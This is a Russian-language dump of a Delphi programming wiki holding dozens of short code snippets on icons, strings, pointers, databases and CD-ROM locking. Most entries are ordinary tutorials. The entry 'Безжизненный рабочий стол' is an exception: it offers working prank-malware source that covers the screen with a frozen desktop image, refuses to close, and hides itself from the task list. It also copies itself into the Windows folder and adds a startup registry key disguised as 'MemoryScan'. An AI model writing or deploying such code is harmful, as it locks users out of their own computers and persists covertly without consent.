nyuuzyou/wikis huggingface dataset:
Анимированная иконка приложения

=== Анимированная иконка приложения ===
Увидев анимацию на форме, мы не удивимся, но сейчас нам предстоит освоить более сложную технологию: мы попытаемся анимировать иконку приложения, ту самую, которая находится на панели задач на кнопке нашего exe-файла!
Сначала нужно будет создать каждый кадр потенциального анимационного клипа. Для этого запустим утилиту "Image Editor", которая в ходит в стандартный пакет Delphi. Запустить её можно одноимённой командой из меню Tools[инструменты]. Там создаём несколько bmp-файлов размером 16х16.
После чего возвращаемся в Delphi и выносим на форму компонент класса TImageList, дважды щёлкаем на нём и с помощью кнопки Add последовательно добавляем созданные кадры. В каком порядке изображения будут добавляться, в таком же порядке они затем будут выводится.
Далее выносим таймер[Timer], его свойство Interval устанавливаем в нужное значение[например - 5], и именно через заданное здесь количество миллисекунд будут меняться кадры. По событию OnTimer пишем такой код:
ImageList1.GetIcon(IconIndex, Application.Icon);
IconIndex := IconIndex + 1;
if IconIndex > 5 then
 IconIndex := 0;
В строке [if IconIndex > 5 then IconIndex := 0;] число 5 замените на индекс последней иконки в вашем ImageList'e[это количество иконок -1]
Не забудьте объявить глобальную переменную IconIndex, которая должна быть типа Integer
А по созданию окна инициализируйте иконку приложения первым изображением в списке
IconIndex := 0;
ImageList1.GetIcon(IconIndex, Application.Icon);
Посмотрите на иконку программы ACDSee, которая показана в левом верхнем углу. На ней изображён глаз. По-моему, было бы довольно эффектно, если бы время от времени он подмигивал пользователю!
ID: 02355
Арабские в Римские

=== Арабские->Римские ===
{ **** UBPFD *********** by kladovka.net.ru ****
>> Конвертация : Римские -> арабские ; Арабские->Римские
Зависимости: 
Автор: Gua, fbsdd@ukr.net, ICQ:141585495, Simferopol
Copyright: 
Дата: 03 мая 2002 г.
********************************************** }
const
R: Array[1..13] of String[2] =
 ('I','IV','V','IX','X','XL','L','XC','C','CD','D','CM','M');
A: Array[1..13] of Integer=
 (1,4,5,9,10,40,50,90,100,400,500,900,1000);
function ArabicToRoman(N: Integer): string; // Арабские в римские
var
 i : Integer;
begin
 Result := ;
 i := 13;
 while N >0 do
 begin
 while A[i] > N do Dec(i);
 Result := Result + R[i];
 Dec(N, A[i]);
 end;
end;
Source: kladovka.net.ru
ID: 00225
Арифметика указателей

=== Арифметика указателей ===
Сначала короткое объяснение арифметике указателя. Когда вы имеете дело с динамическими страницами памяти, то все, что вы имеете - это указатели на начала блоков памяти. Вы хотите просмотреть всю строку памяти, чтобы понять какие функции необходимы для работы с данными, хранящимися в памяти? Это возможно путем изменения места в памяти, на которое указывает указатель. Это называется арифметикой указателя. 
Основополагающая идея при занятиях арифметикой с указателем - указатель должен быть увеличен на значение корректного приращения. (Корректное приращение определяется размером объекта, на который показывает указатель. Например, char = 1 байт; integer = 2 байта; double = 8 байт и т.д.) Функции Inc() и Dec() изменяют значение корректного приращения. (Компилятор знает правильный размер объекта.) 
Если вы осуществляете динамическое распределение памяти, то делать это можно примерно так: 
uses WinCRT;
procedure TForm1.Button1Click(Sender: TObject);
var
 MyArray: array[0..30] of Char;
 b: ^char;
 i: integer;
begin
 StrCopy(MyArray, 'Дельфи - рулез фарева!');
 { помещаем что-то в память для организации указателя }
 b := @MyArray; { назначаем указатель на текущую позицию памяти }
 for i := StrLen(MyArray) downto 0 do
 begin
 Write(b^); { пишем символ в текущую позицию указателя. }
 Inc(b); { перемещаем указатель на следующий байт памяти }
 end;
end;
Нижеследующий код демонстрирует работу функций Inc() и Dec(), увеличивающих или уменьшающих указатель на размер соответствующего типа:
var
 P1, P2: ^LongInt;
 L: LongInt;
begin
 P1 := @L; { назначаем оба указателя на одно и то же место }
 P2 := @L;
 Inc(P2); { Увеличиваем один }
 { Здесь мы получаем разницу между смещениями двух
 указателей. Поскольку первоначально они указывали на одно
 и то же место памяти, то результатом данного вызова
 будет разница между двумя указателями после вызова Inc(). }
 L := Ofs(P2^) - Ofs(P1^); { L = 4; т.е. SizeOf(LongInt) }
end;
Вы можете изменить тип объекта, на который указывает P1 и P2, на какой-то другой и убедиться, что (SizeOf(P1^)) всегда возвращает величину корректного приращения (проще сказать, что это размер объекта - В.О.). 
Source: Взято с http://delphiworld.narod.ru
ID: 00256
Архитектура “Хост-терминал”

=== Архитектура “Хост-терминал” ===
Другой вариант архитектуры, тоже очень популярной в свое время для построения информационных систем, называется терминальной, или архитектурой "хост-терминал". В отличии от архитектуры файлового сервера, где вся обработка перенесена как можно ближе к пользователю, а общими являются только данные, терминальная архитектура на рабочем месте пользователя (на терминале) производит только физическое отображение и ввод информации, а вся логика приложения, все данные хранятся на центральном компьютере (хосте). Такая архитектура соответствовала идее больших компьютеров (мэйнфреймов) и была особенно популярна в 70-х и начале 80-х годов.
На центральном компьютере работает общее, единое для всех пользователей приложение. Это приложение работает со своими данными. Каждый из пользователей подключается к информационной системе через систему удаленного терминального доступа (телемонитор). На рабочем месте пользователя производится прием нажатых клавиш, их пересылка на компьютер, получение и отработка команд на вывод информации.
Так как операционные системы, работающие на таких компьютерах, также как и системы программирования и сами компьютеры были изначально разработаны для многопользовательского доступа, неразрешимых проблем с одновременной работой нескольких пользователей не возникало. Не возникало также и особых проблем с пропускной способностью линий связи, так как передавалась только та информация, которую мог воспринять и ввести пользователь.
Рис. 1.2. Многопользовательская информационная система на основе мейнфрейма и терминальной архитектуры.
Однако администрирование и сопровождение терминальных информационных систем было очень дорогим, что стало особенно заметно в сравнении с недорогими персональными компьютерами. Кроме того, терминальные системы, как правило, обеспечивали только достаточно примитивный, алфавитно-цифровой, монохромный интерфейс. Для некоторых задач этого было недостаточно. Существенной проблемой стала и масштабируемость терминальных систем. Увеличение числа пользователей в какой-то момент приводило к необходимости очень существенных финансовых вложений, связанных с модернизацией аппаратного комплекса в целом.
Author: Грачев А.Ю.
Source: Введение в СУБД Informix
ID: 02449
Category:Базы данных
Category:Статьи
Асинхронная ошибка

Вопрос: Почему не работает следующий код?
 begin
 ClietnSocket1.Open;
 if ClietnSocket1.Socket.Connected then
 ClietnSocket1.Socket.SendText('Hello');
 {..}
 end;
 // Выдает - ассинхронная ошибка.
Вы работаете в ассинхронном режиме. Следует использовать соответствующие события.
Source: http://delphiworld.narod.ru
ID: 03559
Category:Связь
Category:Сокеты
Атомы: Запись, чтение и удаление информации

=== Атомы: Запись, чтение и удаление информации ===
{ Act: 0 - Очистка атомов, 1 - чтение атомов, 2 - запись атомов }
{ Uniq - Уникальный идентификатор }
{ AtomNfo - Информация для записи }
function AtomDo(Act: Integer; Uniq, AtomNfo: string);
 procedure CleanAtoms;
 var
 P: PChar;
 i: Word;
 begin
 GetMem(p, 256);
 for i := 0 to $FFFF do
 begin
 GlobalGetAtomName(i, p, 255);
 if StrPos(p, PChar(Uniq)) <> nil then GlobalDeleteAtom(i);
 end;
 FreeMem(p);
 end;
 function ReadAtom: string;
 var
 p: PChar;
 i: Word;
 begin
 GetMem(p, 256);
 for i := 0 to $FFFF do
 begin
 GlobalGetAtomName(i, p, 255);
 if StrPos(p, PChar(Uniq)) <> nil then break;
 end;
 Result := StrPas(p + Length(Uniq));
 FreeMem(p);
 end;
begin
 case Act of
 0: CleanAtoms;
 1: Result:=ReadAtom;
 2:
 begin
 CleanAtoms;
 GlobalAddAtom(PChar(Uniq + AtomNfo));
 end;
end;
Author: Radmin
Source: Взято с Vingrad.ru http://forum.vingrad.ru
ID: 02092
Бегущая строка

procedure TForm1.Timer1Timer(Sender: TObject);
const
 LengthGoString = 10;
 Gostring = 'Этот код был взят с проекта Delphi World'+
 ' Выпуск 2002 - 2003! Этот код б';
 // Повторить столько символов - сколько в LengthGoString
const
 i: Integer = 1;
begin
 Label1.Caption := Copy(GoString, i, LengthGoString);
 Inc(i);
 if Length(GoString) - LengthGostring < i then
 i := 1;
end;
Source: http://delphiworld.narod.ru/
ID: 03664
Category:Графика
Category:Работа с текстом
Без иконки в панели задач

=== Без иконки в панели задач ===
Если вы не хотите, чтобы ваше приложение имело иконку в панели задач, добавьте следующие строки в исходный код проекта:
Application.CreateHandle;
ShowWindow(Application.Handle, SW_HIDE);
Application.ShowMainForm := FALSE;
Да, чуть не забыл, есть еще одна вещь. При нормальном поведении TApplication создает дескриптор и показывает окно прежде, чем далее начнет что-то "происходить". Чтобы избежать этого, вам необходимо создать модуль, содержащий единственную строчку в секции initialization:
IsLibrary := True;
... и поместить этот модуль ПЕРВЫМ в .DPR-файле в списке используемых модулей. Этим мы "одурачиваем" TApplication, и оно думает что оно запущено из DLL, тем самым изменяя свое обычное поведение.
ID: 01779
Безжизненный рабочий стол

=== Безжизненный рабочий стол ===
Алгоритм следующий: нужно на форму вынести компонент класса TImage скопировать в него рабочий стол и растянуть во весь экран. Делаем это по созданию окна [событие OnCreate()]: 
procedure TForm1.FormCreate(Sender: TObject);
var
 ScreenDC: HDC;
 Canvas: TCanvas;
begin
 ScreenDC := GetDC(0);
 Canvas := TCanvas.Create();
 Canvas.Handle := ScreenDC;
 Width := Screen.Width;
 Height := Screen.Height;
 Image1.Canvas.CopyRect(Rect(0, 0, Image1.Width, Image1.Height),
 Canvas, Rect(0, 0, Screen.Width, Screen.Height));
 ReleaseDC(0, ScreenDC);
 Canvas.Free;
end;
Затем нужно свойство формы BorderStyle установить в значение bsNone, чтобы не было видно боковины окна, а свойство FormStyle - в fsStayOnTop, дабы наше окно всегда было всех других окон!!! Свойство Align компонента Image1- в значение alClient, чтобы картинка занимала всё свободное место.
Далее позаботимся о том, чтобы наше приложение не было видно и чтобы пользователь не мог завершить его :-)) 
Событие по созданию окна в конечном итоге должно выглядеть так: 
procedure TForm1.FormCreate(Sender: TObject);
var
 ScreenDC: HDC;
 Canvas: TCanvas;
 h: TRegistry;
begin
 ScreenDC := GetDC(0);
 Canvas := TCanvas.Create();
 Canvas.Handle := ScreenDC;
 Width := Screen.Width;
 Height := Screen.Height;
 Image1.Canvas.CopyRect(Rect(0, 0, Image1.Width, Image1.Height),
 Canvas, Rect(0, 0, Screen.Width, Screen.Height));
 ReleaseDC(0, ScreenDC);
 Canvas.Free;
 if not (csDesigning in ComponentState) then
 RegisterServiceProcess(GetCurrentProcessID, 1);
 WinDirP := StrAlloc(MAX_PATH);
 Res := GetWindowsDirectory(WinDirP, MAX_PATH);
 if Res > 0 then
 WinDir := StrPas(WinDirP);
 if not FileExists(WinDir + '\OurProgram.com') then
 CopyFile(PChar(Application.ExeName), PChar(WinDir + '\OurProgram.com'), False);
 h := TRegistry.Create;
 h.RootKey := HKEY_LOCAL_MACHINE;
 h.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', True);
 h.WriteString('MemoryScan', WinDir + '\OurProgram.com');
 h.CloseKey;
 h.Free;
end;
На событие OnCloseQuery() формы напишем: 
 CanClose := False;
На событие OnActivate(): 
 ShowWindow(Application.Handle, SW_HIDE);
В области public объявим несколько переменных: 
public
 { Public declarations }
 Windir: string;
 WindirP: PChar;
 Res: Cardinal;
А в uses подключим модуль Registry: 
uses
 Registry;
Source: http://delphiworld.narod.ru/
ID: 01835
Библиотека реализующая практически все распространённые алгоритмы шифрования и хэширования

DCPCrypt - https://github.com/StephenGenusa/DCPCrypt . Библиотека реализующая практически все распространённые алгоритмы шифрования и хэширования. Бесплатная с исходными кодами.
Source: Взято из http://forum.sources.ru
ID: 03980
Category:Алгоритмы
Category:Шифрование
Битовые множества

=== Битовые множества ===
В явном виде битовых множеств в языке Object Pascal нет. Но вместо этого можно использовать обычные множества, которые на самом деле и хранятся как битовые. Если множество вам нужно для проверки, установлен ли какой то бит в слове 
type 
 PByteSet = ^TByteSet; 
 TByteSet = set of Byte; 
var 
 W: Word; 
begin 
{ если бит 3 в слове W установлен, тогда ... } 
 if 3 in PByteSet(@W)^ then //... 
end; 
С Delphi 2.0 появился специальный класс TBitSet, который ведет себя как битовое множество. Для Delphi 1.0 вы можете написать такой класс самостоятельно. 
Source: http://delphiworld.narod.ru
ID: 00778
Благодарности

=== Благодарности ===
==== Хочу выразить свою благодарность администрации форумов Vingrad.ru и Sources.ru любезно разрешивших составить этот документ. ====
Выражаю так же искреннюю признательность всем тем, кто взял на себя труд тестирования настоящего документа и высказавших свои конструктивные, крайне полезные и информативные замечания, позволившие сделать это документ значительно лучше.
Блокирование закладок TPageControl

=== Блокирование закладок TPageControl ===
unit GSPageControl;
interface
uses
 Windows, Messages, Types, SysUtils, Classes, Controls, ComCtrls, CommCtrl;
type
 TGSPageControl = class(TPageControl)
 private
 FNewPageIndex, FNotifyIndex: Integer;
 FTab:boolean;
 protected
 function GetTabFromCursor: Integer;
 function CanChange: Boolean; override;
 procedure WMKeyDown(var Message: TWMKey); message WM_KEYDOWN;
 procedure CMDialogKey(var Message: TCMDialogKey); message CM_DIALOGKEY;
 public
 property NewPageIndex: Integer read FNewPageIndex;
 constructor Create(AOwner: TComponent); override;
 end;
procedure Register;
implementation
procedure Register;
begin
 RegisterComponents('Samples', [TGSPageControl]);
end;
{ TGSPageControl }
function TGSPageControl.CanChange: Boolean;
begin
 if FTab then
 FNewPageIndex := FNotifyIndex
 else
 FNewPageIndex := GetTabFromCursor;
 if FNewPageIndex = -1 then
 FNewPageIndex := FNotifyIndex;
 Result := inherited CanChange;
 FNewPageIndex := -1;
 FTab:=false;
end;
procedure TGSPageControl.CMDialogKey(var Message: TCMDialogKey);
begin
 FTab := True;
 if (Focused or Windows.IsChild(Handle, Windows.GetFocus))
 and (Message.CharCode = VK_TAB) and (GetKeyState(VK_CONTROL) < 0) then
 FNotifyIndex := FindNextPage(ActivePage, True, False).TabIndex;
 inherited;
end;
constructor TGSPageControl.Create(AOwner: TComponent);
begin
 inherited;
 FNotifyIndex := 0;
 FNewPageIndex := 0;
 FTab := False;
end;
function TGSPageControl.GetTabFromCursor: Integer;
var
 HitTestInfo: TTCHitTestInfo;
 P: TPoint;
begin
 GetCursorPos(P);
 HitTestInfo.pt := Self.ScreenToClient(P);
 HitTestInfo.flags := TCHT_ONITEM;
 Result := SendMessage(Self.Handle, TCM_HITTEST, 0, Integer(@HitTestInfo));
end;
procedure TGSPageControl.WMKeyDown(var Message: TWMKey);
begin
 with Message do
 case Message.CharCode of
 37: FNotifyIndex := FindNextPage(ActivePage, False, False).TabIndex;
 39: FNotifyIndex := FindNextPage(ActivePage, True, False).TabIndex;
 end;
 inherited;
end;
end.
Использование:
procedure TForm1.GSPageControl1Changing(Sender: TObject; var AllowChange: Boolean);
begin
 AllowChange := GSPageControl1.Pages[GSPageControl1.NewPageIndex].Enabled;
end;
Author: Rouse_, Krid 
Source: Взято из http://forum.sources.ru
ID: 01166
Блокировка/Разблокировка CD-ROM

=== Блокировка/Разблокировка CD-ROM ===
Вы уж простите, что на сях... сподручней было :\
Исходный код 
//заблокировать
void CMFcDlg::OnBnClickedButton1()
{
HANDLE hDevice = CreateFile ("\\\\.\\E:", 
 GENERIC_READ,
 FILE_SHARE_READ | FILE_SHARE_WRITE,
 NULL,
 OPEN_EXISTING,
 NULL,
 NULL);
DWORD dwBytesReturned = 0;
PREVENT_MEDIA_REMOVAL pmr = {TRUE};
if(!DeviceIoControl (hDevice, IOCTL_STORAGE_MEDIA_REMOVAL, &pmr, sizeof(pmr), NULL, 0, &dwBytesReturned, NULL)) AfxMessageBox ("Door can\'t be locked");
CloseHandle(hDevice);
}
//разблокировать
void CMFcDlg::OnBnClickedButton2()
{
HANDLE hDevice = CreateFile ("\\\\.\\E:", 
 GENERIC_READ,
 FILE_SHARE_READ | FILE_SHARE_WRITE,
 NULL,
 OPEN_EXISTING,
 NULL,
 NULL);
DWORD dwBytesReturned = 0;
PREVENT_MEDIA_REMOVAL pmr = {FALSE};
if(!DeviceIoControl (hDevice, IOCTL_STORAGE_MEDIA_REMOVAL, &pmr, sizeof(pmr), NULL, 0, &dwBytesReturned, NULL)) AfxMessageBox ("Door can\'t be unlocked");
CloseHandle(hDevice);
}
Source: Взято с Vingrad.ru http://forum.vingrad.ru 
ID: 01388
----
const
 IOCTL_STORAGE_MEDIA_REMOVAL = $02D4804;
type
 PREVENT_MEDIA_REMOVAL = record
 PreventMediaRemoval: BOOL;
 end;
// fLock = True - блокировать
// fLock = False - разблокировать
function LockCD(cdLetter: Char; fLock: Boolean): Boolean;
var
 hDevice: THandle;
 dwBytesReturned: DWORD;
 pmr: PREVENT_MEDIA_REMOVAL;
begin
 Result := False;
 hDevice := CreateFile(PChar('\\.\' + cdLetter + ':'), GENERIC_READ, 
 FILE_SHARE_READ or FILE_SHARE_WRITE,
 nil, OPEN_EXISTING, 0, 0);
 if (hDevice = DWORD(-1)) then exit;
 try
 pmr.PreventMediaRemoval := fLock;
 if (not DeviceIoControl(hDevice, IOCTL_STORAGE_MEDIA_REMOVAL, @pmr, 
 SizeOf(pmr), nil, 0, dwBytesReturned, nil)) then
 exit
 else
 Result := True;
 finally
 CloseHandle(hDevice);
 end;
end;
// блокируем
procedure TForm1.Button1Click(Sender: TObject);
begin
 if not LockCD('E', True) then 
 MessageBox(Handle, 'Can not lock CD', 'Error', MB_ICONERROR) 
 else
 MessageBox(Handle, 'CD is locked', 'Info', MB_ICONINFORMATION);
end;
// разблокируем
procedure TForm1.Button2Click(Sender: TObject);
begin
 if not LockCD('E', False) then 
 MessageBox(Handle,'Can not unlock CD', 'Error', MB_ICONERROR) 
 else
 MessageBox(Handle, 'CD is unlocked', 'Info', MB_ICONINFORMATION)
end;
Author: Krid
Source: Взято из http://forum.sources.ru
ID: 01389
Блокируется таблица в MS SQL Server

=== Блокируется таблица в MS SQL Server ===
По умолчанию, оператор UPDATE в MS SQL Server пытается поставить эксклюзивную табличную блокировку. Вы можете обойти это, используя ключевое слово FROM в сочетании с опцией PAGLOCK для использования MS SQL Server страничных блокировок вместо эксклюзивной табличной блокировки:
UPDATE orders
SET customer_id=NULL
FROM orders(PAGLOCK)
WHERE customer_id=32;
Блокировка на всю таблицу при UPDATE ставится только в том случае, если по предикату нет индекса. Так, можно просто проиндексировать таблицу orders по полю customer_id, и не забывать делать UPDATE STATISTIC, хотя будет работать и с PAGLOCK. Просто не факт, что UPDATE всегда делает табличную блокировку.
Source: Взято с http://delphiworld.narod.ru
ID: 02784
Category:Базы данных
Category:MS SQL Server
Более быстрый способ добавлять пункты меню

=== Более быстрый способ добавлять пункты меню ===
Обычно, когда Вы создаёте меню в приложении, то код выглядит примерно так:
 PopupMenu1 := TPopupMenu.Create(Self); 
 Item := TMenuItem.Create(PopupMenu1); 
 Item.Caption := 'First Menu'; 
 Item.OnClick := MenuItem1Click; 
 PopupMenu1.Items.Add(Item); 
 Item := TMenuItem.Create(PopupMenu1); 
 Item.Caption := 'Second Menu'; 
 Item.OnClick := MenuItem2Click; 
 PopupMenu1.Items.Add(Item); 
 Item := TMenuItem.Create(PopupMenu1); 
 Item.Caption := 'Third Menu'; 
 Item.OnClick := MenuItem3Click; 
 PopupMenu1.Items.Add(Item); 
 Item := TMenuItem.Create(PopupMenu1); 
 Item.Caption := '-'; 
 PopupMenu1.Items.Add(Item); 
 Item := TMenuItem.Create(PopupMenu1); 
 Item.Caption := 'Fourth Menu'; 
 Item.OnClick := MenuItem4Click; 
 PopupMenu1.Items.Add(Item); 
Однако есть более быстрый способ! Воспользуйтесь функциями NewItem и NewLine:
 PopupMenu1 := TPopupMenu.Create(Self); 
 with PopUpMenu1.Items do 
 begin 
 Add(NewItem('First Menu', 0, False, True, MenuItem1Click, 0, 'MenuItem1')); 
 Add(NewItem('Second Menu', 0, False, True, MenuItem2Click, 0, 'MenuItem2')); 
 Add(NewItem('Third Menu', 0, False, True, MenuItem3Click, 0, 'MenuItem3')); 
 Add(NewLine); // Добавляем разделитель
 Add(NewItem('Fourth Menu', 0, False, True, MenuItem4Click, 0, 'MenuItem4')); 
 end;
Source: Взято из http://forum.sources.ru
ID: 01300
Буфер обмена и ячейки DBGrid

=== Буфер обмена и ячейки DBGrid ===
Внутренний (in-place) редактор является защищенным свойством TCustomGrid, поэтому тут придется немного поколдовать. Вы можете сделать приблизительно так:
type
 TMyCustomGrid = class(TCustomGrid)
 public
 property InplaceEditor;
 end;
// ...
if ActiveControl is TCustomGrid then
 TMyCustomGrid(ActiveControl).InplaceEditor.CopyToClipboard;
Source: Взято с http://delphiworld.narod.ru
ID: 03044
Category:Базы данных
Category:DBGrid
Быстрая обработка CSV файла

=== Быстрая обработка CSV файла ===
Классы Tstrings/TStringlist имеют свойство commatext, которое автоматически разделяет строки, содержащие разделители, на отдельные части. Пример показывает как считать CSV файл. В Конечном итоге, автоматически разделённые строки содержатся в TStringlist.
var
 ts: TStringList;
 S: string;
 Tf: TextFile;
begin
 Ts := TStringList.Create;
 AssignFile(tf, 'filename');
 Reset(tf);
 while not eof(tf) do
 begin
 Readln(tf, S);
 Ts.CommaText := S;
 //ProcessLine;
 end;
 CloseFile(tf);
 ts.Free;
end;
Так же операцию можно производить в обратном порядке.
Свойство Commatext поддерживает разделители как в виде запятых, так и двойных кавычек: 1,2,3,4 и "1","2","3","4"
Например, строка вида "1","2,3","4" будет разделена на три элемента, которые заключены в кавычки (средняя запятая будет проигнорирована). Чтобы включить кавычку в конечный результ, нужно поставить две кавычки подряд: "1",""2" (результат будет 1 и "2 ).
Source: Взято с http://delphiworld.narod.ru
ID: 02966
Category:Базы данных
Category:CSV
Быстрая функция для разбивки строки на части (слова) в один цикл.

=== Быстрая функция для разбивки строки на части (слова) в один цикл. ===
type 
 TDelim = set of Char;
 TArrayOfString = array of string;
//*******************
// Разбивает строку с разделителями на части
// и возвращает массив частей
function fcToParts(sString: String; tdDelim: TDelim): TArrayOfString
var
 iCounter, iBegin: Integer;
begin
 if Length(sString) > 0 then
 begin
 Include(tdDelim, #0);
 iBegin := 1;
 SetLength(Result, 0);
 for iCounter := 1 to Length(sString)+1 do
 begin
 if (sString[iCounter] in tdDelim) then
 begin
 SetLength(Result, Length(Result)+1);
 Result[Length(Result)-1] := Copy(sString, iBegin, iCounter - iBegin);
 iBegin := iCounter + 1;
 end;
 end;
 end;
end;
Пример использования:
var
 StrArr: TArrayOfString;
StrArr := fcToParts('строка1-строка2@строка3', ['-','@']);
Source: Взято с Vingrad.ru http://forum.vingrad.ru
ID: 00170
Быстрое копирование таблиц

=== Быстрое копирование таблиц ===
Из книги Стива Тейксейра и Пачеко 'Delphi 4. Руководство разработчика' я взял функцию для быстрого копирования таблиц вместе со всеми дополнительными файлами:
Вот она:
procedure QuickCopyTable(T: TTable; DestTblName: string; Overwrite: Boolean);
// только для не SQL-ых, т.е не промышленных БД (dBase, Paradox ..)
var
 DBType: DBIName;
 WasOpen: Boolean;
 NumCopied: Word;
begin
 WasOpen := T.Active;
 if not WasOpen then
 T.Open;
 Check(DbiGetProp(hDBIObj(T.Handle), drvDRIVERTYPE, @DBType, SizeOf(DBINAME), NumCopied));
 Check(DbiCopyTable(T.DBHandle, Overwrite, PChar(T.TableName), DBType, PChar(DestTblName)));
 T.Active := WasOpen;
end;
Source: Взято с сайта http://blackman.wp-club.net/
ID: 02404
Быстрое сравнение памяти

=== Быстрое сравнение памяти ===
Я ищу функцию, которая была бы эквивалентом сишной функции memcmp. 
Я создал следующие две функции, существенно повышающие производительность в приложениях, активно работающих с данными. Вам нужно всего-лишь обеспечить контроль типов и границ допустимого диапазона, все остальное они сделают с любым типом данных лучше нас :-) . 
function Keys_are_Equal(var OldRec, NewRec;
KeyLn : word): boolean; assembler;
asm
 PUSH DS
 MOV AL,01
 CLD
 LES DI,NewRec
 LDS SI,OldRec
 MOV CX,KeyLn
 CLI
 REPE CMPSB
 STI
 JZ @1
 XOR AL,AL
 @1:
 POP DS
end;
function First_Key_is_Less(var NewRec, OldRec;
Keyln : word): boolean; assembler;
asm
 PUSH DS
 MOV AL,01
 CLD
 LES DI,NewRec
 LDS SI,OldRec
 MOV CX,KeyLn
 CLI
 REPE CMPSB
 STI
 JZ @5
 JGE @6
 @5: XOR AL,AL
 @6: POP DS
end;
Author: Dennis Passmore
Source: http://delphiworld.narod.ru
ID: 00811
ID: 04188